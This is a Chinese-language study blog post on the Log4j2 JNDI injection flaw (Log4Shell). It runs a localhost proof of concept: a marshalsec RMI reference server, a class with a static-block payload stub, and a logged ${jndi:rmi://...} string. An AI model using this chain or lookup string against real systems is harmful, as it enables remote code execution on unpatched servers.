Apache Log4j2 远程代码执行漏洞学习

简介: 通过Apache Log4j2远程代码执行漏洞学习jndi等知识

漏洞介绍(摘录阿里云官方)

【漏洞预警】Apache Log4j2 远程代码执行漏洞
https://www.yuque.com/buyiyangdeyanhuo-sinmr/gp5oyo/pnlkk8#GsXMF

漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

影响版本

经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:
Apache Log4j 2.x < 2.15.0-rc2

安全建议

  1. 排查应用是否引入了Apache Log4j2 Jar包,若存在依赖引入,则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
  2. 升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

接着这个漏洞,学习一些知识。

JNDI

Your guide to The JNDI Tutorial
Java Naming and Directory Interface Overview

概念

偷个懒,直接copy。其实就是jvm运行时可以读取远程的文件、对象。

introducation

Java Naming and Directory Interface is the name of the interface in the Java programming language. It is an API( Application Program Interface) that works with servers and can fetch files from a database using naming conventions. The naming convention can be a single phrase or a word. It can also be incorporated in a socket to implement socket programming using servers transferring data files or flat files in a project. It can also be used in web pages in browsers where there are instances of many directories. JNDI provides users in Java the facility to search objects in Java using the Java coding language.

architecture

The JNDI architecture consists of an API and a service provider interface (SPI). Java applications use the JNDI API to access a variety of naming and directory services. The SPI enables a variety of naming and directory services to be plugged in transparently, thereby allowing the Java application using the JNDI API to access their services.
jndiarch.gif

Packaging

JNDI is included in the Java SE Platform. To use the JNDI, you must have the JNDI classes and one or more service providers. The JDK includes service providers for the following naming/directory services:

  • Lightweight Directory Access Protocol (LDAP)
  • Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
  • Java Remote Method Invocation (RMI) Registry
  • Domain Name Service (DNS)

代码演示


JNDI读取本地文件

package Test;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.File;
import java.util.Hashtable;

public class TestJNDI {

    public static void main(String[] args) {

        //添加环境
        Hashtable env = new Hashtable(11);
        //环境地址
        env.put(Context.PROVIDER_URL, "file:/Users/loserwang/IdeaProjects/test");
        //指定为文件系统上下文,
        // com.sun.jndi.ldap.LdapCtxFactory用于LDAP
        // com.sun.jndi.fscontext.RefFSContextFactory用于文件系统上下文,它只需要使用者提供存放上下文的文件路径
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.fscontext.RefFSContextFactory");

        try {
            //1. 初始化上下文
            Context ctx = new InitialContext(env);

            // 2. 获取name对应object
            File f = (File) ctx.lookup("pom.xml");

            System.out.println(f);

            // Close the context when we're done
            ctx.close();
        } catch (NamingException e) {
            System.out.println("Lookup failed: " + e);
        }
    }
}

jndi-out1.png

ps: 需要自己下载com.sun.jndi.fscontext jar包

JNDI读取rmi

编译要提供的类

package Test;

public class Hello {
     static {
        System.out.println("做一些危险的事情");
    }

    public String hello(){
        return "hello";
    }
}
> javac src/main/java/Test/Hello.java 

将class文件放入服务器

jndi-out2.png

下载并编译marshalsec

> git clone https://github.com/mbechler/marshalsec
> cd marshalsec
> mvn clean package -DskipTests

使用marshalsec提供jndi rmi服务

进入marshalsec的target目录下,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机的9999端口开启一个RMI服务加载TouchFile.class文件,
预发如下:

>  cd target 
>  ll
total 85016
drwxr-xr-x  2 loserwang  staff    64B 12 11 15:27 archive-tmp
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 classes
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 generated-sources
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 generated-test-sources
-rw-r--r--  1 loserwang  staff    41M 12 11 15:28 marshalsec-0.0.3-SNAPSHOT-all.jar
-rw-r--r--  1 loserwang  staff    99K 12 11 15:27 marshalsec-0.0.3-SNAPSHOT.jar
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 maven-archiver
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 maven-status
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 test-classes

>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://localhost:8080/#Hello" 9999
* Opening JRMP listener on 9999

通过JNDI调用rmi

public class MyRmiClient {
    public static void main(String[] args) throws NamingException {
         //设置这个系统属性才能url获取jndi,不然抛出异常
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        String url = "rmi://127.0.0.1:9001/Hello";
        InitialContext context = new InitialContext();


        Hello hello = (Hello) context.lookup(url);
        System.out.println("获取成功:" + hello.hello());
    }
}

报错如下:

Hello cannot be cast to javax.naming.spi.ObjectFactory

把Hello改为:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Hello implements ObjectFactory {
     static {
        System.out.println("做一些危险的事情");
    }

    public String hello(){
        return "hello";
    }

    //context.lookup会调用getObjectInstance产生实例对象
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return new Hello();
    }
}

执行结果如下: (Hello.class被成功加载)
jndi-out3.png

Log4j Lookups

Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.

Lookups提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现 StrLookup 接口的特殊类型的插件。
The JndiLookup allows variables to be retrieved via JNDI.
JndiLookup允许注入JNDI变量,并且执行结果。

引入依赖(bug修复前的版本)

       <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.13.1</version>
        </dependency>

log触发jndi, 实现注入

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class TryLog4j {

    private static Logger logger = LogManager.getLogger(TryLog4j.class);

    public static void main(String[] args) {
        logger.error("java.version: ${java:vm} \n");
        logger.error("jndi启动:${jndi:rmi://127.0.0.1:9003/Hello}");
    }
}

jndi-out4.png

相关文章
|
4月前
|
存储 消息中间件 Java
Apache Flink 实践问题之原生TM UI日志问题如何解决
Apache Flink 实践问题之原生TM UI日志问题如何解决
47 1
|
2月前
|
Arthas 监控 Java
JVM知识体系学习七:了解JVM常用命令行参数、GC日志详解、调优三大方面(JVM规划和预调优、优化JVM环境、JVM运行出现的各种问题)、Arthas
这篇文章全面介绍了JVM的命令行参数、GC日志分析以及性能调优的各个方面,包括监控工具使用和实际案例分析。
53 3
|
2月前
|
存储 Prometheus NoSQL
大数据-44 Redis 慢查询日志 监视器 慢查询测试学习
大数据-44 Redis 慢查询日志 监视器 慢查询测试学习
28 3
|
2月前
|
数据采集 监控 Java
SpringBoot日志全方位超详细手把手教程,零基础可学习 日志如何配置及SLF4J的使用......
本文是关于SpringBoot日志的详细教程,涵盖日志的定义、用途、SLF4J框架的使用、日志级别、持久化、文件分割及格式配置等内容。
174 0
SpringBoot日志全方位超详细手把手教程,零基础可学习 日志如何配置及SLF4J的使用......
|
3月前
|
Kubernetes API Docker
跟着iLogtail学习容器运行时与K8s下日志采集方案
iLogtail 作为开源可观测数据采集器,对 Kubernetes 环境下日志采集有着非常好的支持,本文跟随 iLogtail 的脚步,了解容器运行时与 K8s 下日志数据采集原理。
|
4月前
|
存储 消息中间件 人工智能
AI大模型独角兽 MiniMax 基于阿里云数据库 SelectDB 版内核 Apache Doris 升级日志系统,PB 数据秒级查询响应
早期 MiniMax 基于 Grafana Loki 构建了日志系统,在资源消耗、写入性能及系统稳定性上都面临巨大的挑战。为此 MiniMax 开始寻找全新的日志系统方案,并基于阿里云数据库 SelectDB 版内核 Apache Doris 升级了日志系统,新系统已接入 MiniMax 内部所有业务线日志数据,数据规模为 PB 级, 整体可用性达到 99.9% 以上,10 亿级日志数据的检索速度可实现秒级响应。
AI大模型独角兽 MiniMax 基于阿里云数据库 SelectDB 版内核 Apache Doris 升级日志系统,PB 数据秒级查询响应
|
2月前
|
Python
log日志学习
【10月更文挑战第9天】 python处理log打印模块log的使用和介绍
35 0
|
4月前
|
JSON 中间件 Go
go语言后端开发学习(四) —— 在go项目中使用Zap日志库
本文详细介绍了如何在Go项目中集成并配置Zap日志库。首先通过`go get -u go.uber.org/zap`命令安装Zap,接着展示了`Logger`与`Sugared Logger`两种日志记录器的基本用法。随后深入探讨了Zap的高级配置,包括如何将日志输出至文件、调整时间格式、记录调用者信息以及日志分割等。最后,文章演示了如何在gin框架中集成Zap,通过自定义中间件实现了日志记录和异常恢复功能。通过这些步骤,读者可以掌握Zap在实际项目中的应用与定制方法
148 1
go语言后端开发学习(四) —— 在go项目中使用Zap日志库
|
4月前
|
Ubuntu Linux 测试技术
在Linux中,已知 apache 服务的访问日志按天记录在服务器本地目录/app/logs 下,由于磁盘空间紧张现在要求只能保留最近7天的访问日志,请问如何解决?
在Linux中,已知 apache 服务的访问日志按天记录在服务器本地目录/app/logs 下,由于磁盘空间紧张现在要求只能保留最近7天的访问日志,请问如何解决?
|
4月前
|
存储 Ubuntu Apache
如何在 Ubuntu VPS 上配置 Apache 的日志记录和日志轮转
如何在 Ubuntu VPS 上配置 Apache 的日志记录和日志轮转
50 6

推荐镜像

更多